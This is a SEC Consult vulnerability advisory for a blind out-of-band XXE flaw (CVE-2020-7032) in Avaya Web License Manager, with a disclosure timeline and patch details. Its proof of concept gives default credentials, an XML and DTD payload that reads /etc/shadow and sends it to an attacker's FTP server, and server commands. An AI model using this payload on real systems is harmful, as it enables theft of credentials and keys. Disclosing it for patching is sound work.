Blind Out-of-band XML External Entity Injection In Avaya Web License Manager


Blind Out-Of-Band XML External Entity Injection (Authenticated)


Avaya Web License Manager

Vulnerable Version

6.x, 7.0 through, 8.0 through

Fixed Version and 8.1.3

CVE Number







M. Koplin (Office Munich) | SEC Consult Vulnerability Lab

By using an XXE injection it is possible to read confidential data like /etc/shadow or private keys. In addition, a special payload can affect the availability of the web application.

Vendor Description

“As a global leader in delivering superior communications experiences, Avaya provides the most complete portfolio of software and services for multi-touch contact center and unified communications offered on premises, in the cloud, or a hybrid. Today’s digital world centers on communications enablement, and no other company is better positioned to do this than Avaya.”


Business Recommendation

The vendor provides a patch for the Avaya Web License Manager which should be installed immediately.

SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues.

Vulnerability Overview / Description

Blind Out-Of-Band XML External Entity Injection (CVE-2020-7032)

This vulnerability within the Avaya Web License Manager (WebLM) allows an authenticated user to read arbitrary files in the context of the Webserver (Tomcat) by uploading a specially crafted XML file within the License upload functionality. Accessible sensitive files that can be read are for example /etc/shadow, SSH keys or other configuration files.

Proof Of Concept

Blind Out-Of-Band XML External Entity Injection (CVE-2020-7032)

Login as a user to $IP/WebLM/ and navigate to “Install License”. If WebLM has never been used before or not hardened, the default credentials are admin:weblmadmin

Create an XML file like the following:

<?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://$ATTACKER_IP/xxe_file.dtd"> %asd; %c; ]> <a>&rrr;</a>

and a DTD file like:

<!ENTITY % d SYSTEM "file:///etc/shadow"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://$ATTACKER_IP:2121/%d;'>">

Start a webserver, e.g.


python -m SimpleHTTPServer 80

and an FTP Server like GO XXE FTP Server

./xxeserv 2121

Upload the crafted XML file by clicking the install button.

Vulnerable / Tested Versions

The following version has been tested:

  • Avaya Web License Manager 6.3

The vendor doesn’t support versions < 7.x. Probably all versions <7 are affected.

Vendor Contact Timeline

2020-03-18 Contacting vendor through
2020-03-19 Vendor replied and started the process to verify the vulnerability
2020-04-03 Second mail to vendor to check if they have verified the issue
2020-05-18 Release of Hotfix for WebLM (embedded with SMGR) version 8.1.2.x
2020-07-01 Advisory release postponed, due to a delayed patch for version 7
2020-11-16 Patch release for version 7 and 8 of WebLM standalone and SMGR
2020-11-17 Publication of the advisory


Version 6: Upgrade to a new major release

Version 7: Upgrade to or later

Version 8: Install hot fix #7 or upgrade to version 8.1.3

Offiial patch:


No workaround available.

Advisory URL

Vulnerability Lab


EOF Markus Koplin / @2020


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